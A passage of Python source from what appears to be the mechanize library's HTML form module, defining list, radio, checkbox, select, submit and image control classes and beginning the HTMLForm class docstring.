info)\n\n\n#---------------------------------------------------\nclass IgnoreControl(ScalarControl):\n    \"\"\"Control that we're not interested in.\n\n    Covers:\n\n    INPUT/RESET\n    BUTTON/RESET\n    INPUT/BUTTON\n    BUTTON/BUTTON\n\n    These controls are always unsuccessful, in the terminology of HTML 4 (ie.\n    they never require any information to be returned to the server).\n\n    BUTTON/BUTTON is used to generate events for script embedded in HTML.\n\n    The value attribute of IgnoreControl is always None.\n\n    \"\"\"\n    def __init__(self, type, name, attrs, index=None):\n        ScalarControl.__init__(self, type, name, attrs, index)\n        self._value = None\n\n    def is_of_kind(self, kind): return False\n\n    def __setattr__(self, name, value):\n        if name == \"value\":\n            raise AttributeError(\n                \"control '%s' is ignored, hence read-only\" % self.name)\n        elif name in (\"name\", \"type\"):\n            raise AttributeError(\"%s attribute is readonly\" % name)\n        else:\n            self.__dict__[name] = value\n\n\n#---------------------------------------------------\n# ListControls\n\n# helpers and subsidiary classes\n\nclass Item:\n    def __init__(self, control, attrs, index=None):\n        label = _get_label(attrs)\n        self.__dict__.update({\n            \"name\": attrs[\"value\"],\n            \"_labels\": label and [label] or [],\n            \"attrs\": attrs,\n            \"_control\": control,\n            \"disabled\": attrs.has_key(\"disabled\"),\n            \"_selected\": False,\n            \"id\": attrs.get(\"id\"),\n            \"_index\": index,\n            })\n        control.items.append(self)\n\n    def get_labels(self):\n        \"\"\"Return all labels (Label instances) for this item.\n        \n        For items that represent radio buttons or checkboxes, if the item was\n        surrounded by a <label> tag, that will be the first label; all other\n        labels, connected by 'for' and 'id', are in the order that appear in\n        the HTML.\n        \n        For items that represent select options, if the option had a label\n        attribute, that will be the first label.  If the option has contents\n        (text within the option tags) and it is not the same as the label\n        attribute (if any), that will be a label.  There is nothing in the\n        spec to my knowledge that makes an option with an id unable to be the\n        target of a label's for attribute, so those are included, if any, for\n        the sake of consistency and completeness.\n\n        \"\"\"\n        res = []\n        res.extend(self._labels)\n        if self.id:\n            res.extend(self._control._form._id_to_labels.get(self.id, ()))\n        return res\n\n    def __getattr__(self, name):\n        if name==\"selected\":\n            return self._selected\n        raise AttributeError(name)\n\n    def __setattr__(self, name, value):\n        if name == \"selected\":\n            self._control._set_selected_state(self, value)\n        elif name == \"disabled\":\n            self.__dict__[\"disabled\"] = bool(value)\n        else:\n            raise AttributeError(name)\n\n    def __str__(self):\n        res = self.name\n        if self.selected:\n            res = \"*\" + res\n        if self.disabled:\n            res = \"(%s)\" % res\n        return res\n\n    def __repr__(self):\n        # XXX appending the attrs without distinguishing them from name and id\n        # is silly\n        attrs = [(\"name\", self.name), (\"id\", self.id)]+self.attrs.items()\n        return \"<%s %s>\" % (\n            self.__class__.__name__,\n            \" \".join([\"%s=%r\" % (k, v) for k, v in attrs])\n            )\n\ndef disambiguate(items, nr, **kwds):\n    msgs = []\n    for key, value in kwds.items():\n        msgs.append(\"%s=%r\" % (key, value))\n    msg = \" \".join(msgs)\n    if not items:\n        raise ItemNotFoundError(msg)\n    if nr is None:\n        if len(items) > 1:\n            raise AmbiguityError(msg)\n        nr = 0\n    if len(items) <= nr:\n        raise ItemNotFoundError(msg)\n    return items[nr]\n\nclass ListControl(Control):\n    \"\"\"Control representing a sequence of items.\n\n    The value attribute of a ListControl represents the successful list items\n    in the control.  The successful list items are those that are selected and\n    not disabled.\n\n    ListControl implements both list controls that take a length-1 value\n    (single-selection) and those that take length >1 values\n    (multiple-selection).\n\n    ListControls accept sequence values only.  Some controls only accept\n    sequences of length 0 or 1 (RADIO, and single-selection SELECT).\n    In those cases, ItemCountError is raised if len(sequence) > 1.  CHECKBOXes\n    and multiple-selection SELECTs (those having the \"multiple\" HTML attribute)\n    accept sequences of any length.\n\n    Note the following mistake:\n\n    control.value = some_value\n    assert control.value == some_value    # not necessarily true\n\n    The reason for this is that the value attribute always gives the list items\n    in the order they were listed in the HTML.\n\n    ListControl items can also be referred to by their labels instead of names.\n    Use the label argument to .get(), and the .set_value_by_label(),\n    .get_value_by_label() methods.\n\n    Note that, rather confusingly, though SELECT controls are represented in\n    HTML by SELECT elements (which contain OPTION elements, representing\n    individual list items), CHECKBOXes and RADIOs are not represented by *any*\n    element.  Instead, those controls are represented by a collection of INPUT\n    elements.  For example, this is a SELECT control, named \"control1\":\n\n    <select name=\"control1\">\n     <option>foo</option>\n     <option value=\"1\">bar</option>\n    </select>\n\n    and this is a CHECKBOX control, named \"control2\":\n\n    <input type=\"checkbox\" name=\"control2\" value=\"foo\" id=\"cbe1\">\n    <input type=\"checkbox\" name=\"control2\" value=\"bar\" id=\"cbe2\">\n\n    The id attribute of a CHECKBOX or RADIO ListControl is always that of its\n    first element (for example, \"cbe1\" above).\n\n\n    Additional read-only public attribute: multiple.\n\n    \"\"\"\n\n    # ListControls are built up by the parser from their component items by\n    # creating one ListControl per item, consolidating them into a single\n    # master ListControl held by the HTMLForm:\n\n    # -User calls form.new_control(...)\n    # -Form creates Control, and calls control.add_to_form(self).\n    # -Control looks for a Control with the same name and type in the form,\n    #  and if it finds one, merges itself with that control by calling\n    #  control.merge_control(self).  The first Control added to the form, of\n    #  a particular name and type, is the only one that survives in the\n    #  form.\n    # -Form calls control.fixup for all its controls.  ListControls in the\n    #  form know they can now safely pick their default values.\n\n    # To create a ListControl without an HTMLForm, use:\n\n    # control.merge_control(new_control)\n\n    # (actually, it's much easier just to use ParseFile)\n\n    _label = None\n\n    def __init__(self, type, name, attrs={}, select_default=False,\n                 called_as_base_class=False, index=None):\n        \"\"\"\n        select_default: for RADIO and multiple-selection SELECT controls, pick\n         the first item as the default if no 'selected' HTML attribute is\n         present\n\n        \"\"\"\n        if not called_as_base_class:\n            raise NotImplementedError()\n\n        self.__dict__[\"type\"] = type.lower()\n        self.__dict__[\"name\"] = name\n        self._value = attrs.get(\"value\")\n        self.disabled = False\n        self.readonly = False\n        self.id = attrs.get(\"id\")\n        self._closed = False\n\n        # As Controls are merged in with .merge_control(), self.attrs will\n        # refer to each Control in turn -- always the most recently merged\n        # control.  Each merged-in Control instance corresponds to a single\n        # list item: see ListControl.__doc__.\n        self.items = []\n        self._form = None\n\n        self._select_default = select_default\n        self._clicked = False\n\n    def clear(self):\n        self.value = []\n\n    def is_of_kind(self, kind):\n        if kind  == \"list\":\n            return True\n        elif kind == \"multilist\":\n            return bool(self.multiple)\n        elif kind == \"singlelist\":\n            return not self.multiple\n        else:\n            return False\n\n    def get_items(self, name=None, label=None, id=None,\n                  exclude_disabled=False):\n        \"\"\"Return matching items by name or label.\n\n        For argument docs, see the docstring for .get()\n\n        \"\"\"\n        if name is not None and not isstringlike(name):\n            raise TypeError(\"item name must be string-like\")\n        if label is not None and not isstringlike(label):\n            raise TypeError(\"item label must be string-like\")\n        if id is not None and not isstringlike(id):\n            raise TypeError(\"item id must be string-like\")\n        items = []  # order is important\n        compat = self._form.backwards_compat\n        for o in self.items:\n            if exclude_disabled and o.disabled:\n                continue\n            if name is not None and o.name != name:\n                continue\n            if label is not None:\n                for l in o.get_labels():\n                    if ((compat and l.text == label) or\n                        (not compat and l.text.find(label) > -1)):\n                        break\n                else:\n                    continue\n            if id is not None and o.id != id:\n                continue\n            items.append(o)\n        return items\n\n    def get(self, name=None, label=None, id=None, nr=None,\n            exclude_disabled=False):\n        \"\"\"Return item by name or label, disambiguating if necessary with nr.\n\n        All arguments must be passed by name, with the exception of 'name',\n        which may be used as a positional argument.\n\n        If name is specified, then the item must have the indicated name.\n\n        If label is specified, then the item must have a label whose\n        whitespace-compressed, stripped, text substring-matches the indicated\n        label string (e.g. label=\"please choose\" will match\n        \"  Do  please  choose an item \").\n\n        If id is specified, then the item must have the indicated id.\n\n        nr is an optional 0-based index of the items matching the query.\n\n        If nr is the default None value and more than item is found, raises\n        AmbiguityError (unless the HTMLForm instance's backwards_compat\n        attribute is true).\n\n        If no item is found, or if items are found but nr is specified and not\n        found, raises ItemNotFoundError.\n\n        Optionally excludes disabled items.\n\n        \"\"\"\n        if nr is None and self._form.backwards_compat:\n            nr = 0  # :-/\n        items = self.get_items(name, label, id, exclude_disabled)\n        return disambiguate(items, nr, name=name, label=label, id=id)\n\n    def _get(self, name, by_label=False, nr=None, exclude_disabled=False):\n        # strictly for use by deprecated methods\n        if by_label:\n            name, label = None, name\n        else:\n            name, label = name, None\n        return self.get(name, label, nr, exclude_disabled)\n\n    def toggle(self, name, by_label=False, nr=None):\n        \"\"\"Deprecated: given a name or label and optional disambiguating index\n        nr, toggle the matching item's selection.\n\n        Selecting items follows the behavior described in the docstring of the\n        'get' method.\n\n        if the item is disabled, or this control is disabled or readonly,\n        raise AttributeError.\n\n        \"\"\"\n        deprecation(\n            \"item = control.get(...); item.selected = not item.selected\")\n        o = self._get(name, by_label, nr)\n        self._set_selected_state(o, not o.selected)\n\n    def set(self, selected, name, by_label=False, nr=None):\n        \"\"\"Deprecated: given a name or label and optional disambiguating index\n        nr, set the matching item's selection to the bool value of selected.\n\n        Selecting items follows the behavior described in the docstring of the\n        'get' method.\n\n        if the item is disabled, or this control is disabled or readonly,\n        raise AttributeError.\n\n        \"\"\"\n        deprecation(\n            \"control.get(...).selected = <boolean>\")\n        self._set_selected_state(self._get(name, by_label, nr), selected)\n\n    def _set_selected_state(self, item, action):\n        # action:\n        # bool False: off\n        # bool True: on\n        if self.disabled:\n            raise AttributeError(\"control '%s' is disabled\" % self.name)\n        if self.readonly:\n            raise AttributeError(\"control '%s' is readonly\" % self.name)\n        action == bool(action)\n        compat = self._form.backwards_compat\n        if not compat and item.disabled:\n            raise AttributeError(\"item is disabled\")\n        else:\n            if compat and item.disabled and action:\n                raise AttributeError(\"item is disabled\")\n            if self.multiple:\n                item.__dict__[\"_selected\"] = action\n            else:\n                if not action:\n                    item.__dict__[\"_selected\"] = False\n                else:\n                    for o in self.items:\n                        o.__dict__[\"_selected\"] = False\n                    item.__dict__[\"_selected\"] = True\n\n    def toggle_single(self, by_label=None):\n        \"\"\"Deprecated: toggle the selection of the single item in this control.\n        \n        Raises ItemCountError if the control does not contain only one item.\n        \n        by_label argument is ignored, and included only for backwards\n        compatibility.\n\n        \"\"\"\n        deprecation(\n            \"control.items[0].selected = not control.items[0].selected\")\n        if len(self.items) != 1:\n            raise ItemCountError(\n                \"'%s' is not a single-item control\" % self.name)\n        item = self.items[0]\n        self._set_selected_state(item, not item.selected)\n\n    def set_single(self, selected, by_label=None):\n        \"\"\"Deprecated: set the selection of the single item in this control.\n        \n        Raises ItemCountError if the control does not contain only one item.\n        \n        by_label argument is ignored, and included only for backwards\n        compatibility.\n\n        \"\"\"\n        deprecation(\n            \"control.items[0].selected = <boolean>\")\n        if len(self.items) != 1:\n            raise ItemCountError(\n                \"'%s' is not a single-item control\" % self.name)\n        self._set_selected_state(self.items[0], selected)\n\n    def get_item_disabled(self, name, by_label=False, nr=None):\n        \"\"\"Get disabled state of named list item in a ListControl.\"\"\"\n        deprecation(\n            \"control.get(...).disabled\")\n        return self._get(name, by_label, nr).disabled\n\n    def set_item_disabled(self, disabled, name, by_label=False, nr=None):\n        \"\"\"Set disabled state of named list item in a ListControl.\n\n        disabled: boolean disabled state\n\n        \"\"\"\n        deprecation(\n            \"control.get(...).disabled = <boolean>\")\n        self._get(name, by_label, nr).disabled = disabled\n\n    def set_all_items_disabled(self, disabled):\n        \"\"\"Set disabled state of all list items in a ListControl.\n\n        disabled: boolean disabled state\n\n        \"\"\"\n        for o in self.items:\n            o.disabled = disabled\n\n    def get_item_attrs(self, name, by_label=False, nr=None):\n        \"\"\"Return dictionary of HTML attributes for a single ListControl item.\n\n        The HTML element types that describe list items are: OPTION for SELECT\n        controls, INPUT for the rest.  These elements have HTML attributes that\n        you may occasionally want to know about -- for example, the \"alt\" HTML\n        attribute gives a text string describing the item (graphical browsers\n        usually display this as a tooltip).\n\n        The returned dictionary maps HTML attribute names to values.  The names\n        and values are taken from the original HTML.\n\n        \"\"\"\n        deprecation(\n            \"control.get(...).attrs\")\n        return self._get(name, by_label, nr).attrs\n\n    def close_control(self):\n        self._closed = True\n\n    def add_to_form(self, form):\n        assert self._form is None or form == self._form, (\n            \"can't add control to more than one form\")\n        self._form = form\n        if self.name is None:\n            # always count nameless elements as separate controls\n            Control.add_to_form(self, form)\n        else:\n            for ii in range(len(form.controls)-1, -1, -1):\n                control = form.controls[ii]\n                if control.name == self.name and control.type == self.type:\n                    if control._closed:\n                        Control.add_to_form(self, form)\n                    else:\n                        control.merge_control(self)\n                    break\n            else:\n                Control.add_to_form(self, form)\n\n    def merge_control(self, control):\n        assert bool(control.multiple) == bool(self.multiple)\n        # usually, isinstance(control, self.__class__)\n        self.items.extend(control.items)\n\n    def fixup(self):\n        \"\"\"\n        ListControls are built up from component list items (which are also\n        ListControls) during parsing.  This method should be called after all\n        items have been added.  See ListControl.__doc__ for the reason this is\n        required.\n\n        \"\"\"\n        # Need to set default selection where no item was indicated as being\n        # selected by the HTML:\n\n        # CHECKBOX:\n        #  Nothing should be selected.\n        # SELECT/single, SELECT/multiple and RADIO:\n        #  RFC 1866 (HTML 2.0): says first item should be selected.\n        #  W3C HTML 4.01 Specification: says that client behaviour is\n        #   undefined in this case.  For RADIO, exactly one must be selected,\n        #   though which one is undefined.\n        #  Both Netscape and Microsoft Internet Explorer (IE) choose first\n        #   item for SELECT/single.  However, both IE5 and Mozilla (both 1.0\n        #   and Firebird 0.6) leave all items unselected for RADIO and\n        #   SELECT/multiple.\n\n        # Since both Netscape and IE all choose the first item for\n        # SELECT/single, we do the same.  OTOH, both Netscape and IE\n        # leave SELECT/multiple with nothing selected, in violation of RFC 1866\n        # (but not in violation of the W3C HTML 4 standard); the same is true\n        # of RADIO (which *is* in violation of the HTML 4 standard).  We follow\n        # RFC 1866 if the _select_default attribute is set, and Netscape and IE\n        # otherwise.  RFC 1866 and HTML 4 are always violated insofar as you\n        # can deselect all items in a RadioControl.\n        \n        for o in self.items: \n            # set items' controls to self, now that we've merged\n            o.__dict__[\"_control\"] = self\n\n    def __getattr__(self, name):\n        if name == \"value\":\n            compat = self._form.backwards_compat\n            if self.name is None:\n                return []\n            return [o.name for o in self.items if o.selected and\n                    (not o.disabled or compat)]\n        else:\n            raise AttributeError(\"%s instance has no attribute '%s'\" %\n                                 (self.__class__.__name__, name))\n\n    def __setattr__(self, name, value):\n        if name == \"value\":\n            if self.disabled:\n                raise AttributeError(\"control '%s' is disabled\" % self.name)\n            if self.readonly:\n                raise AttributeError(\"control '%s' is readonly\" % self.name)\n            self._set_value(value)\n        elif name in (\"name\", \"type\", \"multiple\"):\n            raise AttributeError(\"%s attribute is readonly\" % name)\n        else:\n            self.__dict__[name] = value\n\n    def _set_value(self, value):\n        if value is None or isstringlike(value):\n            raise TypeError(\"ListControl, must set a sequence\")\n        if not value:\n            compat = self._form.backwards_compat\n            for o in self.items:\n                if not o.disabled or compat:\n                    o.selected = False\n        elif self.multiple:\n            self._multiple_set_value(value)\n        elif len(value) > 1:\n            raise ItemCountError(\n                \"single selection list, must set sequence of \"\n                \"length 0 or 1\")\n        else:\n            self._single_set_value(value)\n\n    def _get_items(self, name, target=1):\n        all_items = self.get_items(name)\n        items = [o for o in all_items if not o.disabled]\n        if len(items) < target:\n            if len(all_items) < target:\n                raise ItemNotFoundError(\n                    \"insufficient items with name %r\" % name)\n            else:\n                raise AttributeError(\n                    \"insufficient non-disabled items with name %s\" % name)\n        on = []\n        off = []\n        for o in items:\n            if o.selected:\n                on.append(o)\n            else:\n                off.append(o)\n        return on, off\n\n    def _single_set_value(self, value):\n        assert len(value) == 1\n        on, off = self._get_items(value[0])\n        assert len(on) <= 1\n        if not on:\n            off[0].selected = True\n\n    def _multiple_set_value(self, value):\n        compat = self._form.backwards_compat\n        turn_on = []  # transactional-ish\n        turn_off = [item for item in self.items if\n                    item.selected and (not item.disabled or compat)]\n        names = {}\n        for nn in value:\n            if nn in names.keys():\n                names[nn] += 1\n            else:\n                names[nn] = 1\n        for name, count in names.items():\n            on, off = self._get_items(name, count)\n            for i in range(count):\n                if on:\n                    item = on[0]\n                    del on[0]\n                    del turn_off[turn_off.index(item)]\n                else:\n                    item = off[0]\n                    del off[0]\n                    turn_on.append(item)\n        for item in turn_off:\n            item.selected = False\n        for item in turn_on:\n            item.selected = True\n\n    def set_value_by_label(self, value):\n        \"\"\"Set the value of control by item labels.\n\n        value is expected to be an iterable of strings that are substrings of\n        the item labels that should be selected.  Before substring matching is\n        performed, the original label text is whitespace-compressed\n        (consecutive whitespace characters are converted to a single space\n        character) and leading and trailing whitespace is stripped.  Ambiguous\n        labels are accepted without complaint if the form's backwards_compat is\n        True; otherwise, it will not complain as long as all ambiguous labels\n        share the same item name (e.g. OPTION value).\n\n        \"\"\"\n        if isstringlike(value):\n            raise TypeError(value)\n        if not self.multiple and len(value) > 1:\n            raise ItemCountError(\n                \"single selection list, must set sequence of \"\n                \"length 0 or 1\")\n        items = []\n        for nn in value:\n            found = self.get_items(label=nn)\n            if len(found) > 1:\n                if not self._form.backwards_compat:\n                    # ambiguous labels are fine as long as item names (e.g.\n                    # OPTION values) are same\n                    opt_name = found[0].name\n                    if [o for o in found[1:] if o.name != opt_name]:\n                        raise AmbiguityError(nn)\n                else:\n                    # OK, we'll guess :-(  Assume first available item.\n                    found = found[:1]\n            for o in found:\n                # For the multiple-item case, we could try to be smarter,\n                # saving them up and trying to resolve, but that's too much.\n                if self._form.backwards_compat or o not in items:\n                    items.append(o)\n                    break\n            else:  # all of them are used\n                raise ItemNotFoundError(nn)\n        # now we have all the items that should be on\n        # let's just turn everything off and then back on.\n        self.value = []\n        for o in items:\n            o.selected = True\n\n    def get_value_by_label(self):\n        \"\"\"Return the value of the control as given by normalized labels.\"\"\"\n        res = []\n        compat = self._form.backwards_compat\n        for o in self.items:\n            if (not o.disabled or compat) and o.selected:\n                for l in o.get_labels():\n                    if l.text:\n                        res.append(l.text)\n                        break\n                else:\n                    res.append(None)\n        return res\n\n    def possible_items(self, by_label=False):\n        \"\"\"Deprecated: return the names or labels of all possible items.\n\n        Includes disabled items, which may be misleading for some use cases.\n\n        \"\"\"\n        deprecation(\n            \"[item.name for item in self.items]\")\n        if by_label:\n            res = []\n            for o in self.items:\n                for l in o.get_labels():\n                    if l.text:\n                        res.append(l.text)\n                        break\n                else:\n                    res.append(None)\n            return res\n        return [o.name for o in self.items]\n\n    def _totally_ordered_pairs(self):\n        if self.disabled or self.name is None:\n            return []\n        else:\n            return [(o._index, self.name, o.name) for o in self.items\n                    if o.selected and not o.disabled]\n\n    def __str__(self):\n        name = self.name\n        if name is None: name = \"<None>\"\n\n        display = [str(o) for o in self.items]\n\n        infos = []\n        if self.disabled: infos.append(\"disabled\")\n        if self.readonly: infos.append(\"readonly\")\n        info = \", \".join(infos)\n        if info: info = \" (%s)\" % info\n\n        return \"<%s(%s=[%s])%s>\" % (self.__class__.__name__,\n                                    name, \", \".join(display), info)\n\n\nclass RadioControl(ListControl):\n    \"\"\"\n    Covers:\n\n    INPUT/RADIO\n\n    \"\"\"\n    def __init__(self, type, name, attrs, select_default=False, index=None):\n        attrs.setdefault(\"value\", \"on\")\n        ListControl.__init__(self, type, name, attrs, select_default,\n                             called_as_base_class=True, index=index)\n        self.__dict__[\"multiple\"] = False\n        o = Item(self, attrs, index)\n        o.__dict__[\"_selected\"] = attrs.has_key(\"checked\")\n\n    def fixup(self):\n        ListControl.fixup(self)\n        found = [o for o in self.items if o.selected and not o.disabled]\n        if not found:\n            if self._select_default:\n                for o in self.items:\n                    if not o.disabled:\n                        o.selected = True\n                        break\n        else:\n            # Ensure only one item selected.  Choose the last one,\n            # following IE and Firefox.\n            for o in found[:-1]:\n                o.selected = False\n\n    def get_labels(self):\n        return []\n\nclass CheckboxControl(ListControl):\n    \"\"\"\n    Covers:\n\n    INPUT/CHECKBOX\n\n    \"\"\"\n    def __init__(self, type, name, attrs, select_default=False, index=None):\n        attrs.setdefault(\"value\", \"on\")\n        ListControl.__init__(self, type, name, attrs, select_default,\n                             called_as_base_class=True, index=index)\n        self.__dict__[\"multiple\"] = True\n        o = Item(self, attrs, index)\n        o.__dict__[\"_selected\"] = attrs.has_key(\"checked\")\n\n    def get_labels(self):\n        return []\n\n\nclass SelectControl(ListControl):\n    \"\"\"\n    Covers:\n\n    SELECT (and OPTION)\n\n\n    OPTION 'values', in HTML parlance, are Item 'names' in mechanize parlance.\n\n    SELECT control values and labels are subject to some messy defaulting\n    rules.  For example, if the HTML representation of the control is:\n\n    <SELECT name=year>\n      <OPTION value=0 label=\"2002\">current year</OPTION>\n      <OPTION value=1>2001</OPTION>\n      <OPTION>2000</OPTION>\n    </SELECT>\n\n    The items, in order, have labels \"2002\", \"2001\" and \"2000\", whereas their\n    names (the OPTION values) are \"0\", \"1\" and \"2000\" respectively.  Note that\n    the value of the last OPTION in this example defaults to its contents, as\n    specified by RFC 1866, as do the labels of the second and third OPTIONs.\n\n    The OPTION labels are sometimes more meaningful than the OPTION values,\n    which can make for more maintainable code.\n\n    Additional read-only public attribute: attrs\n\n    The attrs attribute is a dictionary of the original HTML attributes of the\n    SELECT element.  Other ListControls do not have this attribute, because in\n    other cases the control as a whole does not correspond to any single HTML\n    element.  control.get(...).attrs may be used as usual to get at the HTML\n    attributes of the HTML elements corresponding to individual list items (for\n    SELECT controls, these are OPTION elements).\n\n    Another special case is that the Item.attrs dictionaries have a special key\n    \"contents\" which does not correspond to any real HTML attribute, but rather\n    contains the contents of the OPTION element:\n\n    <OPTION>this bit</OPTION>\n\n    \"\"\"\n    # HTML attributes here are treated slightly differently from other list\n    # controls:\n    # -The SELECT HTML attributes dictionary is stuffed into the OPTION\n    #  HTML attributes dictionary under the \"__select\" key.\n    # -The content of each OPTION element is stored under the special\n    #  \"contents\" key of the dictionary.\n    # After all this, the dictionary is passed to the SelectControl constructor\n    # as the attrs argument, as usual.  However:\n    # -The first SelectControl constructed when building up a SELECT control\n    #  has a constructor attrs argument containing only the __select key -- so\n    #  this SelectControl represents an empty SELECT control.\n    # -Subsequent SelectControls have both OPTION HTML-attribute in attrs and\n    #  the __select dictionary containing the SELECT HTML-attributes.\n\n    def __init__(self, type, name, attrs, select_default=False, index=None):\n        # fish out the SELECT HTML attributes from the OPTION HTML attributes\n        # dictionary\n        self.attrs = attrs[\"__select\"].copy()\n        self.__dict__[\"_label\"] = _get_label(self.attrs)\n        self.__dict__[\"id\"] = self.attrs.get(\"id\")\n        self.__dict__[\"multiple\"] = self.attrs.has_key(\"multiple\")\n        # the majority of the contents, label, and value dance already happened\n        contents = attrs.get(\"contents\")\n        attrs = attrs.copy()\n        del attrs[\"__select\"]\n\n        ListControl.__init__(self, type, name, self.attrs, select_default,\n                             called_as_base_class=True, index=index)\n        self.disabled = self.attrs.has_key(\"disabled\")\n        self.readonly = self.attrs.has_key(\"readonly\")\n        if attrs.has_key(\"value\"):\n            # otherwise it is a marker 'select started' token\n            o = Item(self, attrs, index)\n            o.__dict__[\"_selected\"] = attrs.has_key(\"selected\")\n            # add 'label' label and contents label, if different.  If both are\n            # provided, the 'label' label is used for display in HTML \n            # 4.0-compliant browsers (and any lower spec? not sure) while the\n            # contents are used for display in older or less-compliant\n            # browsers.  We make label objects for both, if the values are\n            # different.\n            label = attrs.get(\"label\")\n            if label:\n                o._labels.append(Label({\"__text\": label}))\n                if contents and contents != label:\n                    o._labels.append(Label({\"__text\": contents}))\n            elif contents:\n                o._labels.append(Label({\"__text\": contents}))\n\n    def fixup(self):\n        ListControl.fixup(self)\n        # Firefox doesn't exclude disabled items from those considered here\n        # (i.e. from 'found', for both branches of the if below).  Note that\n        # IE6 doesn't support the disabled attribute on OPTIONs at all.\n        found = [o for o in self.items if o.selected]\n        if not found:\n            if not self.multiple or self._select_default:\n                for o in self.items:\n                    if not o.disabled:\n                        was_disabled = self.disabled\n                        self.disabled = False\n                        try:\n                            o.selected = True\n                        finally:\n                            o.disabled = was_disabled\n                        break\n        elif not self.multiple:\n            # Ensure only one item selected.  Choose the last one,\n            # following IE and Firefox.\n            for o in found[:-1]:\n                o.selected = False\n\n\n#---------------------------------------------------\nclass SubmitControl(ScalarControl):\n    \"\"\"\n    Covers:\n\n    INPUT/SUBMIT\n    BUTTON/SUBMIT\n\n    \"\"\"\n    def __init__(self, type, name, attrs, index=None):\n        ScalarControl.__init__(self, type, name, attrs, index)\n        # IE5 defaults SUBMIT value to \"Submit Query\"; Firebird 0.6 leaves it\n        # blank, Konqueror 3.1 defaults to \"Submit\".  HTML spec. doesn't seem\n        # to define this.\n        if self.value is None: self.value = \"\"\n        self.readonly = True\n\n    def get_labels(self):\n        res = []\n        if self.value:\n            res.append(Label({\"__text\": self.value}))\n        res.extend(ScalarControl.get_labels(self))\n        return res\n\n    def is_of_kind(self, kind): return kind == \"clickable\"\n\n    def _click(self, form, coord, return_type, request_class=_request.Request):\n        self._clicked = coord\n        r = form._switch_click(return_type, request_class)\n        self._clicked = False\n        return r\n\n    def _totally_ordered_pairs(self):\n        if not self._clicked:\n            return []\n        return ScalarControl._totally_ordered_pairs(self)\n\n\n#---------------------------------------------------\nclass ImageControl(SubmitControl):\n    \"\"\"\n    Covers:\n\n    INPUT/IMAGE\n\n    Coordinates are specified using one of the HTMLForm.click* methods.\n\n    \"\"\"\n    def __init__(self, type, name, attrs, index=None):\n        SubmitControl.__init__(self, type, name, attrs, index)\n        self.readonly = False\n\n    def _totally_ordered_pairs(self):\n        clicked = self._clicked\n        if self.disabled or not clicked:\n            return []\n        name = self.name\n        if name is None: return []\n        pairs = [\n            (self._index, \"%s.x\" % name, str(clicked[0])),\n            (self._index+1, \"%s.y\" % name, str(clicked[1])),\n            ]\n        value = self._value\n        if value:\n            pairs.append((self._index+2, name, value))\n        return pairs\n\n    get_labels = ScalarControl.get_labels\n\n# aliases, just to make str(control) and str(form) clearer\nclass PasswordControl(TextControl): pass\nclass HiddenControl(TextControl): pass\nclass TextareaControl(TextControl): pass\nclass SubmitButtonControl(SubmitControl): pass\n\n\ndef is_listcontrol(control): return control.is_of_kind(\"list\")\n\n\nclass HTMLForm:\n    \"\"\"Represents a single HTML <form> ... </form> element.\n\n    A form consists of a sequence of controls that usually have names, and\n    which can take on various values.  The values of the various types of\n    controls represent variously: text, zero-or-one-of-many or many-of-many\n    choices, and files to be uploaded.  Some controls can be clicked on to\n    submit the form, and clickable controls' values sometimes include the\n    coordinates of the click.\n\n    Forms can be filled in with data to be returned to the server, and then\n    submitted, using the click method to generate a request object suitable for\n    passing to mechanize.urlopen (or the click_request_data or click_pairs\n    methods for integration with third-party code).\n\n    import mechanize\n    forms = mechanize.ParseFile(html, base_uri)\n    form = forms[0]\n\n    form[\"query\"] = \"Python\"\n    form.find_control(\"nr_results\").get(\"lots\").selected = True\n\n    response = mechanize.urlopen(form.click())\n\n    Usually, HTMLForm instances are not created directly.  Instead, the\n    ParseFile or ParseResponse factory functions are used.  If you do construct\n    HTMLForm objects yourself, however, note that an HTMLForm instance is only\n    properly initialised after the fixup method has been called (ParseFile and\n    ParseResponse do this for you).  See ListControl.__doc__ for the reason\n    this is required.\n\n    Indexing a form (form[\"control_name\"]) returns the named Control's value\n    attribute.  Assignment to a form index (form[\"control_name\"] = something)\n    is equivalent to assignment to the named Control's value attribute.  If you\n    need to be more specific than just supplying the control's name, use the\n    set_value and get_value methods.\n\n    ListControl values are lists of item names (specifically, the names of the\n    items that are selected and not disabled, and hence are \"successful\" -- ie.\n    cause data to be returned to the server).  The list item's name is the\n    value of the corresponding HTML element's\"value\" attribute.\n\n    Example:\n\n      <INPUT type=\"CHECKBOX\" name=\"cheeses\" value=\"leicester\"></INPUT>\n      <INPUT type=\"CHECKBOX\" name=\"cheeses\" value=\"cheddar\"></INPUT>\n\n    defines a CHECKBOX control with name \"cheeses\" which has two items, named\n    \"leicester\" and \"cheddar\".\n\n    Another example:\n\n      <SELECT name=\"more_cheeses\">\n        <OPTION>1</OPTION>\n        <OPTION value=\"2\" label=\"CHEDDAR\">cheddar</OPTION>\n      </SELECT>\n\n    defines a SELECT control with name \"more_cheeses\" which has two items,\n    named \"1\" and \"2\" (because the OPTION element's value HTML attribute\n    defaults to the element contents -- see SelectControl.__doc__ for more on\n    these defaulting rules).\n\n    To select, deselect or otherwise manipulate individual list items, use the\n    HTMLForm.find_control() and ListControl.get() methods.  To set the whole\n    value, do as for any other control: use indexing or the set_/get_value\n    methods.\n\n    Example:\n\n    # select *only* the item named \"cheddar\"\n    form[\"cheeses\"] = [\"cheddar\"]\n    # select \"cheddar\", leave other items unaffected\n    form.find_control(\"cheeses\").get(\"cheddar\").selected = True\n\n    Some controls (RADIO and SELECT without the multiple attribute) can only\n    have zero or one items selected at a time.  Some controls (CHECKBOX and\n    SELECT with the multiple attribute) can have multiple items selected at a\n    time.  To set the whole value of a ListControl, assign a sequence to a form\n    index:\n\n    form[\"cheeses\"] = [\"cheddar\", \"leicester\"]\n\n    If the ListControl is not multiple-selection, the assigned list must be of\n    length one.\n\n    To check if a control has an item, if an item is selected, or if an item is\n    successful (selected and not disabled), respectively:\n\n    \"cheddar\" in [item.name for item in form.find_control(\"cheeses\").items]\n    \"cheddar\" in [item.name for item in form.find_control(\"cheeses\").items and\n                  item.selected]\n    \"cheddar\" in form[\"cheeses\"]  # (or \"cheddar\" in form.get_value(\"cheeses\"))\n\n    Note that some list items may be disabled (see below).\n\n    Note the following mistake:\n\n    form[control_name] = control_value\n    assert form[control_name] == control_value  # not necessarily true\n\n    The reason for this is that form[control_name] always gives the list items\n    in the order they were listed in the HTML.\n\n    List items (hence list values, too) can be referred to in terms of list\n    item labels rather than list item names using the appropriate label\n    arguments.  Note that each item may have several labels.\n\n    The question of default values of OPTION contents, labels and values is\n    somewhat complicated: see SelectControl.__doc__ and\n    ListControl.get_item_attrs.__doc__ if you think you need to 